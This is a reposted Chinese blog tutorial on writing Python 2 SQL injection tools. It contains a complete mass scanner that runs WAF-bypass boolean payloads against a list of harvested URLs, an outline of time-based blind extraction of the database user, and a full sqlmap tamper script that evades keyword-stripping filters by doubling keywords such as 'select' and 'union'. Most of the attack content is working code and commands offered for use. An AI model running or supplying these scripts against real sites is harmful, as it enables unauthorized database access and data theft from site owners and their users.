百木园-与人分享,
就是让自己快乐。

【PyHacker编写指南】Sql注入脚本编写

这节课是巡安似海PyHacker编写指南的《Sql注入脚本编写》

有些注入点sqlmap跑不出,例如延时注入,实际延时与语句延时时间不符,sqlmap就跑不出,这就需要我们自己根据实际情况编写脚本来注入了。文末,涉及了sqlmap tamper编写,所以需要一定的python基础才能看懂。

喜欢用Python写脚本的小伙伴可以跟着一起写一写。

编写环境:Python2.x

00x1:
需要用到的模块如下:

import requests
import re

00x2:

编写Sql判断

首先我们需要一个payload,最好可以bypass,这样方便测试

?a=/&id=1%20and%201=1%23/
url = \'http://127.0.0.1/index.php?id=1\'
r = r\'\\?(.*)\'
id = re.findall(r,url)
id = id[0]
payload = \"?a=/*&{}%20and%201=1%23*/\".format(id)

 

Ok,可以正常输出

再匹配前面的url + payload完美bypass

 

 整理一下代码:

    def url_bypass(url):
        r = r\'\\?(.*)\'
        id = re.findall(r,url)
        id = id[0]
        payload = \"?a=/*&{}%20and%201=1%23*/\".format(id)
     
        urlr = \'(.*)\\?%s\'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        print url_+payload
     
    url = \'http://127.0.0.1/index.php?id=1\'
    url_bypass(url)

存放到列表当中,等下我们直接遍历即可

00x3:
下面来说一下判断原理

?a=/&id=1%20and%201=1%23/    返回正常
?a=/&id=1%20and%201=2%23/ 返回错误

xor 1=1    返回错误
xor 1=2    返回正常

 
判断1 != 2 则存在SQL注入漏洞(如上两条语句都可以测试)
我们分别利用两个请求测试,这样代码方便易读

    def req1(url):
        global html1
        headers = {
            \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0\'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0\'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content

 

00x4:
判断SQL注入漏洞

def main():
    req1(urls[0])
    req2(urls[1])
    if html1 != html2:
        print \"[+] Find SQL\"
    else:
        print \"NO\"

 调试一下:

 

 
00x5:
配和前面的教程,我们已经可以采集url,并且深度爬取
采集就不在这里说了,你可以自己去采集一些url
遍历url 判断SQL注入漏洞:

if __name__ == \'__main__\':
    f = open(\'url.txt\',\'r\')
    for url in f:
        url = url.strip()
        url_bypass(url)  # c处理url
        main() #判断SQL
        urls = [] #清空列表

自动输出结果我就不写了
前面也讲了,大家可以根据自己需求修改

 

00x6:
完整代码:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
    import requests
    import re
    import urllib3
    urllib3.disable_warnings()
     
    urls = []
    def url_bypass(url):
        r = r\'\\?(.*)\'
        id = re.findall(r,url)
        id = id[0]
        payload = \"?a=/*&{}%20and%201=1%23*/\".format(id)
     
        r2 = r\'\\?(.*)\'
        id2 = re.findall(r2,url)
        id2 = id2[0]
        payload2 = \"?a=/*&{}%20and%201=2%23*/\".format(id2)
     
        urlr = \'(.*)\\?%s\'%id
        url_ = re.findall(urlr,url)
        url_=url_[0]
        url_bypass =  url_+payload
        url_bypass2 = url_ + payload2
        urls.append(url_bypass)
        urls.append(url_bypass2)
     
    def req1(url):
        global html1
        headers = {
            \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0\'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html1 = req.content
     
    def req2(url):
        global html2
        headers = {
            \'User-Agent\':\'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0\'
        }
        req = requests.get(url,headers=headers,verify=False,timeout=3)
        html2 = req.content
     
    def main():
        try:
            req1(urls[0])
            req2(urls[1])
            if html1 != html2:
                print \"[+] Find SQL\",urls[1]
            else:
                pass
        except:
            pass
     
    if __name__ == \'__main__\':
        f = open(\'url.txt\',\'r\')
        for url in f:
            url = url.strip()
            url_bypass(url)  # c处理url
            main() #判断SQL
            urls = [] #清空列表

 这里仅以SQL判断思路进行编写,猜测数据库等操作也相同

抛砖引玉,只需要更换sql语句,利用for循环即可

大致思路:(延时注入获取数据库)

payloads=\'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.\'

遍历payloads
判断延迟时间,利用time比较,如果时间大于xxx,则字符存在

for x in payloads:
  url+and if(length(user)=%s,3,0)%x

 

 

 

Pyhacker 之 SQLMAP tamper编写

tamper是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

一个简单的tamper:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
    pass
def tamper(payload, **kwargs):
    return payload.replace(\"\'\", \"\\\\\'\").replace(\'\"\', \'\\\\\"\')

我们只需要修改这两部分:

Priority:定义脚本的优先级(默认lowest即可)

tamper:是主要的函数,接受的参数为payload和kwargs

返回值为替换后的payload。比如这个例子中就把引号替换为了\\

def tamper(payload, **kwargs):
headers = kwargs.get(\"headers\", {})
    headers[\"X-originating-IP\"] = \"127.0.0.1\"
    return payload

 修改X-originating-IP 绕过Waf

所以我们只需要仿造进行修改,即可写出我们的tamper

我们来测试一下

 

 

 

 
我们修改源代码,关键词 替换为空

 

 
OK,没毛病

替换为空了,我们可以利用两个seleselectct 绕过

测试一下:

Sqlmap.py -u \"http://127.0.0.1/news.php?id=1\" --purge

 

已经注入不出来结果了,我们来写一个tamper

 

 利用replace函数进行替换字符

 

 

完整tamper:

    #!/usr/bin/python
    #-*- coding:utf-8 -*-
     
    #默认开头
    from lib.core.enums import PRIORITY
    __priority__ = PRIORITY.LOW     #等级(LOWEST 最低级)
     
    #可有可无
    def dependencies():
        pass
     
    def tamper(payload, **kwargs):
        playload = payload.replace(\'and\',\'anandd\')
        playload = playload.replace(\'xor\', \'xoxorr\')
        playload = playload.replace(\'select\', \'selselectect\')
        playload = playload.replace(\'union\', \'uniunionon\')
        playload = playload.replace(\'if\', \'iiff\')
        return playload

放到tamper目录下

Sqlmap.py -u \"http://127.0.0.1/news.php?id=1\" --purge --tamper \"andand.py\"

 

 

 

OK,已经注入出来了
方法大同小异,了解waf特征,fuzz bypass

微信公众号关注:巡安似海,每天更新技术文章,网络安全,免杀攻防等文章。

 


来源:https://www.cnblogs.com/XunanSec/p/pyhacker_sql.html
本站部分图文来源于网络,如有侵权请联系删除。

未经允许不得转载:百木园 » 【PyHacker编写指南】Sql注入脚本编写

相关推荐

  • 暂无文章